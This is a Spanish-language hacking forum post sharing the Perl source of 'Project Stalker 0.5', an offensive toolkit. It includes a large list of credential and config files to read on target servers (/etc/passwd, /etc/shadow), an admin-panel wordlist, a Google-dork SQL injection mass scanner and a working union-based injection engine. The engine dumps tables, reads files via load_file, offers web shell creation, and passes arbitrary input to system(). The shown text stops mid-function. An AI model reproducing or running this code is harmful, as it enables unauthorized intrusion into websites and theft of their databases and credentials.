elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] Project Stalker 0.5		0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] Project Stalker 0.5  (Leído 2,166 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] Project Stalker 0.5
« en: 3 Diciembre 2011, 16:33 pm »
Lo mismo que la version anterior solo se le mejoro el cliente para vulnerabilidades SQLi

Código
  1. #!usr/bin/perl
  2. #Project STALKER 0.5 
  3. #Coded By Doddy H
  4. #
  5. #ppm install http://www.bribes.org/perl/ppm/DBI.ppd
  6. #ppm install http://theoryx5.uwinnipeg.ca/ppms/DBD-mysql.ppd
  7. #
  8.  
  9. use IO::Socket;	
  10. use HTML::LinkExtor;
  11. use LWP::UserAgent;
  12. use Win32::OLE qw(in);
  13. use Win32::Process;
  14. use Net::FTP;
  15. use Cwd;
  16. use URI::Split qw(uri_split);
  17. use MIME::Base64;
  18. use DBI;
  19. use Color::Output;
  20. Color::Output::Init
  21.  
  22.  
  23. my @files =('C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/aca.txt','C:/xampp/htdocs/admin.php','C:/xampp/htdocs/leer.txt','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf.default','C:\ProgramFiles\ApacheGroup\Apache\conf\httpd.conf','C:\ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf','C:\ProgramFiles\xampp\apache\conf\httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf','/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf','/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf','/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php','/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php','/usr/local/etc/apache/vhosts.conf','/etc/php.ini','/bin/php.ini','/etc/httpd/php.ini','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog');
  24.  
  25. @panels=('admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx'
  26. ,'admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx'
  27. ,'asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx'
  28. ,'asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx'
  29. ,'admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx'
  30. ,'login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx'
  31. ,'administracion/index.asp','administracion/index.aspx','administracion/login.asp'
  32. ,'administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx'
  33. ,'administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php'
  34. ,'admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php'
  35. ,'admin/administrador.php','admin/default.php','administracion/','administracion/index.php'
  36. ,'administracion/login.php','administracion/ingresar.php','administracion/admin.php'
  37. ,'administration/','administration/index.php','administration/login.php'
  38. ,'administrator/index.php','administrator/login.php','administrator/system.php','system/'
  39. ,'system/login.php','admin.php','login.php','administrador.php','administration.php'
  40. ,'administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php'
  41. ,'yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html'
  42. ,'admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html'
  43. ,'admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html'
  44. ,'administrator/','administrator/index.html','administrator/login.html'
  45. ,'administrator/account.html','administrator/account.php','administrator.html','login.html'
  46. ,'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php'
  47. ,'moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/'
  48. ,'account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html'
  49. ,'admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp'
  50. ,'admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp'
  51. ,'admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp'
  52. ,'administrator/login.asp','administrator/account.asp','administrator.asp'
  53. ,'modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp'
  54. ,'account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/'
  55. ,'fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php'
  56. ,'sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp'
  57. ,'ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html'
  58. ,'Server.asp','Server/','wp-admin/','administr8.php','administr8.html'
  59. ,'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp'
  60. ,'webadmin.html','administratie/','admins/','admins.php','admins.asp'
  61. ,'admins.html','administrivia/','Database_Administration/','WebAdmin/'
  62. ,'useradmin/','sysadmins/','admin1/','system-administration/','administrators/'
  63. ,'pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/'
  64. ,'administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/'
  65. ,'cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/
  66. ','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/
  67. ','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/
  68. ','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/
  69. ','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/'
  70. ,'project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/'
  71. ,'wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/'
  72. ,'Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/'
  73. ,'irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/'
  74. ,'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/'
  75. ,'Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/'
  76. ,'cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/'
  77. ,'server/','database_administration/','power_user/','system_administration/'
  78. ,'ss_vms_admin_sm/');
  79.  
  80.  
  81. unless (-d "/logs/webs") {
  82. mkdir("logs/",777);
  83. mkdir("logs/webs/",777);
  84. }
  85.  
  86. my $nave = LWP::UserAgent->new;
  87. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  88. $nave->timeout(5);
  89.  
  90. head();
  91.  
  92. getinfo();
  93.  
  94. $SIG{INT} = \&next;
  95.  
  96. while(1) {
  97. cprint "\x037"; #13
  98. menujo();
  99. cprint "\x030";
  100. }
  101.  
  102. sub getinfo {
  103. $so = $^O;
  104. $login = Win32::LoginName();
  105. $domain = Win32::DomainName();
  106. cprint "\x0313"; #13
  107. print "\n\n[SO] : $so [Login] : $login [Group] : $domain\n\n";
  108. cprint "\x030";
  109. }
  110.  
  111.  
  112. sub menujo {
  113. print "\n\n>";
  114. chomp (my $cmd = <stdin>);
  115. print "\n\n";
  116.  
  117. if ($cmd=~/getinfo/ig) {
  118. getinfo();
  119. }
  120. if ($cmd =~/getip (.*)/) {
  121. my $te = $1;
  122. if ($te eq "" or $te eq " ") {
  123. print "\n[+] sintax : getip <host>\n";
  124. }
  125. print "\n[IP] : ".getip($1)."\n";
  126. print "\n";
  127. }
  128.  
  129. elsif ($cmd =~/getlink (.*)/) {
  130. print "[+] Extracting links in the page\n\n\n";
  131. $code = toma($1);
  132. my @re = get_links($code);
  133. for my $url(@re) {
  134. print "[Link] : $url\n";
  135. }
  136. print "\n\n[+] Finish\n";
  137. }
  138.  
  139. elsif ($cmd=~/help/) {
  140. helpme();
  141. }
  142.  
  143. elsif ($cmd=~/getprocess/) {
  144. my %re = getprocess();
  145.  
  146.  
  147. for my $data(keys %re) {
  148. ($proceso,$pid) = ($t=~/(.*):(.*)/ig);
  149. print "[+] Proceso : ".$data."\n";
  150. print "[+] PID : ".$re{$data}."\n\n";
  151. }
  152. }
  153. elsif ($cmd=~/killprocess (.*) (.*)/) {
  154. if (killprocess($1,$2)) {
  155. print "[+] Process $1 closed";
  156. }
  157. }
  158. elsif ($cmd=~/conec (.*) (.*) (.*)/) {
  159. print conectar($1,$2,$3);
  160. }
  161. elsif ($cmd=~/allow (.*)/) {
  162. $re = conectar($1,"80","GET / HTTP/1.0\r\n");
  163. if ($re=~/Allow:(.*)/ig) {
  164. print "[+] Metodos : ".$1."\n";
  165. }}
  166. elsif ($cmd=~/paths (.*)/) {
  167. scanpaths($1);
  168. }
  169. elsif ($cmd=~/encodehex (.*)/) {
  170. print "\n\n[+] ".hex_en($1)."\n\n";
  171. }
  172. elsif ($cmd=~/decodehex (.*)/) {
  173. print "\n\n[+] ".hex_de($1)."\n\n";
  174. }
  175. elsif ($cmd=~/download (.*) (.*)/) {
  176. my $file,$name = $1,$2;
  177. if (download($1,$2)) {
  178. print "[+] File downloaded\n";
  179. }
  180. }
  181. elsif ($cmd=~/encodeascii (.*)/) {
  182. print "\n\n[+] ".ascii($1)."\n\n";
  183. }
  184. elsif ($cmd=~/decodeascii (.*)/) {
  185. print "\n\n[+] ".ascii_de($1)."\n\n";
  186. }
  187. elsif ($cmd=~/encodebase (.*)/) {
  188. print "\n\n[+] ".base($1)."\n\n";
  189. }
  190. elsif ($cmd=~/decodebase (.*)/) {
  191. print "\n\n[+] ".base_de($1)."\n\n";
  192. }
  193. elsif ($cmd=~/aboutme/) {
  194. aboutme();
  195. }
  196. elsif ($cmd=~/scanport (.*)/) {
  197. scanport($1);
  198. }
  199. elsif ($cmd=~/panel (.*)/) {
  200. scanpanel($1);
  201. }
  202. elsif ($cmd=~/scangoogle/) {
  203. print "[Dork] : ";
  204. chomp(my $dork = <stdin>);
  205. print "\n\n[Pages] : ";
  206. chomp(my $pages = <stdin>);
  207. print "\n\n[Starting the search]\n\n";
  208. my @links = google($dork,$pages);
  209. print "\n[Links Found] : ".int(@links)."\n\n\n";
  210. print "[Starting the scan]\n\n\n";
  211. for my $link(@links) {
  212. if ($link=~/(.*)=/ig) {
  213. my $web = $1;
  214. sql($web."=");
  215. }}
  216. print "\n\n[+] Finish\n";
  217. }
  218. elsif ($cmd=~/getpass (.*)/) {
  219. crackit($1);
  220. }
  221. elsif ($cmd=~/ftp (.*) (.*) (.*)/) {
  222. ftp($1,$2,$3);
  223. }
  224. elsif ($cmd=~/navegator/) {
  225. nave:
  226. print getcwd().">";
  227. chomp(my $rta = <stdin>);
  228. print "\n\n";
  229. if ($rta=~/list/) {
  230. my @files = coleccionar(getcwd());
  231. for(@files) {
  232. if (-f $_) {
  233. print "[File] : ".$_."\n";
  234. } else {
  235. print "[Directory] : ".$_."\n";
  236. }}}
  237. if ($rta=~/cd (.*)/) {
  238. my $dir = $1;
  239. if (chdir($dir)) {
  240. print "\n[+] Directory changed\n";
  241. } else {
  242. print "\n[-] Error\n";
  243. }}
  244. if ($rta=~/del (.*)/) {
  245. my $file = getcwd()."/".$1;
  246. if (-f $file) {
  247. if (unlink($file)) {
  248. print "\n[+] File Deleted\n";
  249. } else {
  250. print "\n[-] Error\n";
  251. }
  252. } else {
  253. if (rmdir($file)) {
  254. print "\n[+] Directory Deleted\n";
  255. } else {
  256. print "\n[-] Error\n";
  257. }}}
  258. if ($rta=~/rename (.*) (.*)/) {
  259. if (rename(getcwd()."/".$1,getcwd()."/".$2)) {
  260. print "\n[+] File Changed\n";
  261. } else {
  262. print "\n[-] Error\n";
  263. }}
  264. if ($rta=~/open (.*)/) {
  265. my $file = $1;
  266. chomp $file;
  267. system($file);
  268. #system(getcwd()."/".$file);
  269. }
  270. if ($rta=~/help/) {
  271. print "\nCommands : help cd list del rename open exit\n\n";
  272. }
  273. if ($rta=~/exit/) {
  274. next;
  275. }
  276. print "\n\n";
  277. goto nave;
  278. }
  279. elsif ($cmd=~/kobra (.*)/) {
  280. my $url = $1;
  281. chomp $url;
  282. scansqli($url,"--");
  283. }
  284. elsif ($cmd=~/mysql (.*) (.*) (.*)/) {
  285. enter($1,$2,$3);
  286. }
  287. elsif ($cmd=~/exit/) {
  288. copyright();
  289. <stdin>;
  290. exit(1);
  291. }
  292. else {
  293. system($cmd);
  294. }
  295. #print "\n\n";
  296. }
  297.  
  298.  
  299. sub scansqli {
  300.  
  301. my $page = $_[0];
  302. print "[Status] : Scanning.....\n";
  303. ($pass1,$bypass2) = &bypass($_[1]);
  304. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  305. my $save = $auth;
  306.  
  307. if ($_[0]=~/hackman/ig) {
  308. savefile($save.".txt","\n[Target Confirmed] : $_[0]\n");
  309. &menu_options($_[0],$pass,$save);
  310. } else {
  311.  
  312. my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
  313. my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);
  314.  
  315. unless ($testar1 eq $testar2) {
  316. motor($page,$_[1]);
  317. } else {
  318. print "\n[-] Not vulnerable\n\n";
  319. print "[+] Scan anyway y/n : ";
  320. chomp(my $op = <stdin>);
  321. if ($op eq "y") {
  322. motor($page,$_[1]);
  323. } else {
  324. #head();
  325. #menu();
  326. }}}}
  327.  
  328. sub motor {
  329.  
  330. my ($gen,$save,$control) = &length($_[0],$_[1]);
  331.  
  332. if ($control eq 1) {
  333. print "[Status] : Enjoy the menu\n\n";
  334. &menu_options($gen,$pass,$save);
  335. } else {
  336. print "[Status] : Length columns not found\n\n";
  337. }
  338. }
  339.  
  340. sub length {
  341. print "\n[+] Looking for the number of columns\n\n";
  342. my $rows  = "0";
  343. my $asc;
  344. my $page = $_[0];
  345. ($pass1,$pass2) = &bypass($_[1]);
  346.  
  347. $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
  348. $total = "1";
  349. for my $rows(2..200) {
  350. $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
  351. $total.= ",".$rows;
  352. $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
  353. $test = toma($injection);
  354. if ($test=~/RATSXPDOWN/) {
  355. @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
  356. $control = 1;
  357. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  358. my $save = $auth;
  359. savefile($save.".txt","\n[Target confirmed] : $page");
  360. savefile($save.".txt","[Bypass] : $_[1]\n");
  361. savefile($save.".txt","[Limit] : The site has $rows columns");
  362. savefile($save.".txt","[Data] : The number @number print data");
  363. $total=~s/$number[0]/hackman/;
  364. savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
  365. return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
  366. }
  367. }
  368. }
  369.  
  370. sub details {
  371. my ($page,$bypass,$save) = @_;
  372. ($pass1,$pass2) = &bypass($bypass);
  373. savefile($save.".txt","\n");
  374. if ($page=~/(.*)hackman(.*)/ig) {
  375. print "\n[+] Searching information..\n\n"; 
  376. my  ($start,$end) = ($1,$2);
  377. $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
  378. $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
  379. $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  380. $test1 = toma($inforschema);
  381. $test2 = toma($mysqluser);
  382. if ($test2=~/ERTOR854/ig) {
  383. savefile($save.".txt","[mysql.user] : ON");
  384. print "[mysql.user] : ON\n";
  385. } else {
  386. print "[mysql.user] : OFF\n";
  387. savefile($save.".txt","[mysql.user] : OFF");
  388. }
  389. if ($test1=~/ERTOR854/ig) {
  390. print "[information_schema.tables] : ON\n";
  391. savefile($save.".txt","[information_schema.tables] : ON");
  392. } else {
  393. print "[information_schema.tables] : OFF\n";
  394. savefile($save.".txt","[information_schema.tables] : OFF");
  395. }
  396. if ($test3=~/ERTOR854/ig) {
  397. print "[load_file] : ON\n";
  398. savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
  399. }
  400. $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))"; 
  401. $injection = $start.$concat.$end.$pass2;
  402. $code = toma($injection);
  403. if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
  404. print "\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n\n";
  405. savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
  406. } else {
  407. print "\n[-] Not found any data\n";
  408. }
  409. }
  410. }
  411.  
  412.  
  413. sub menu_options {
  414.  
  415. my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
  416. my $save = $auth;
  417. print "\n/logs/webs/$save>";
  418. chomp (my $rta = <stdin>);
  419.  
  420. if ($rta=~/help/) {
  422.  
  423. commands : details tables columns dbs othertable othercolumn
  424.            mysqluser dumper createshell readfile logs exit 
  425.  
  426. );
  427. }
  428.  
  429.  
  430. if ($rta =~/tables/) {
  431. schematables($_[0],$_[1],$save);
  432. &reload;	
  433. }
  434. elsif ($rta =~/columns (.*)/) {
  435. my $tabla = $1;
  436. schemacolumns($_[0],$_[1],$save,$tabla);
  437. &reload;
  438. }
  439. elsif ($rta =~/dbs/) {
  440. &schemadb($_[0],$_[1],$save);
  441. &reload;
  442. }
  443. elsif ($rta =~/othertable (.*)/) {
  444. my $data = $1;
  445. &schematablesdb($_[0],$_[1],$data,$save);
  446. &reload;
  447. }
  448. elsif ($rta =~/othercolumn (.*) (.*)/){
  449. my ($db,$table) = ($1,$2);
  450. &schemacolumnsdb($_[0],$_[1],$db,$table,$save);
  451. &reload;
  452. }
  453. elsif ($rta =~/mysqluser/) {
  454. &mysqluser($_[0],$_[1],$save);
  455. &reload;
  456. }
  457. elsif ($rta=~/logs/) {
  458. $t = "logs/webs/$save.txt";
  459. system("start $t");
  460. &reload;
  461. }
  462. elsif ($rta=~/exit/) {
  463. next;
  464. }
  465.  
  466. elsif($rta=~/createshell/) {
  467. print "\n\n[Full Path Discloure] : ";
  468. chomp(my $path = <STDIN>);
  469. &into($_[0],$_[1],$path,$save);
  470. }
  471. elsif($rta=~/readfile/) {
  472. loadfile($_[0],$_[1],$save);
  473. }
  474. elsif ($rta=~/dumper (.*) (.*) (.*)/) {
  475. my ($tabla,$col1,$col2) = ($1,$2,$3);
  476. &dump($_[0],$col1,$col2,$tabla,$_[1],$save);
  477. &reload;
  478. }
  479. elsif ($rta =~/details/) {
  480. &details($_[0],$_[1],$save);
  481. &reload;
  482. }
  483. else {
  484. &reload;
  485. }
  486. }
  487.  
  488.  
  489.  
  490. sub schematables {
  491. $real = "1";
  492. my ($page,$bypass,$save) = @_;
  493. savefile($save.".txt","\n");
  494. print "\n";
  495. my $page1 = $page;
  496. ($pass1,$pass2) = &bypass($_[1]);
  497. savefile($save.".txt","[DB] : default");
  498. print "\n[+] Searching tables with schema\n\n";
  499. $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  500. $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  501. $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass2);
  502. if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  503. my $resto = $1;
  504. $total = $resto - 17; 
  505. print "[+] Tables Length :  $total\n\n";
  506. savefile($save.".txt","[+] Searching tables with schema\n");
  507. savefile($save.".txt","[+] Tables Length :  $total\n");
  508. my $limit = $1;
  509. for my $limit(17..$limit) {
  510. $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."limit".$pass1.$limit.",1".$pass2);
  511. if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  512. my $table = $1;
  513. chomp $table;
  514. print "[Table $real Found : $table ]\n";
  515. savefile($save.".txt","[Table $real Found : $table ]");
  516. $real++;
  517. }}
  518. print "\n";
  519. } else {
  520. print "\n[-] information_schema = ERROR\n";
  521. }	 
  522. }
  523.  
  524. sub reload {
  525. &menu_options($_[0]);
  526. }
  527.  
  528.  
  529. sub schemacolumns {
  530. my ($page,$bypass,$save,$table) = @_;
  531. my $page3 = $page;
  532. my $page4 = $page;
  533. savefile($save.".txt","\n");
  534. print "\n";
  535. ($pass1,$pass2) = &bypass($bypass);
  536. print "\n[DB] : default\n";
  537. savefile($save.".txt","[DB] : default");
  538. savefile($save.".txt","[Table] : $table\n");
  539. $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
  540. $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass2);
  541. if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
  542. print "\n[Columns Length : $1 ]\n\n";
  543. savefile($save.".txt","[Columns Length : $1 ]\n");
  544. my $si = $1;
  545. chomp $si;
  546. $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
  547. $real = "1";
  548. for my $limit2(0..$si) {
  549. $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
  550. if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
  551. print "[Column $real] : $1\n"; 
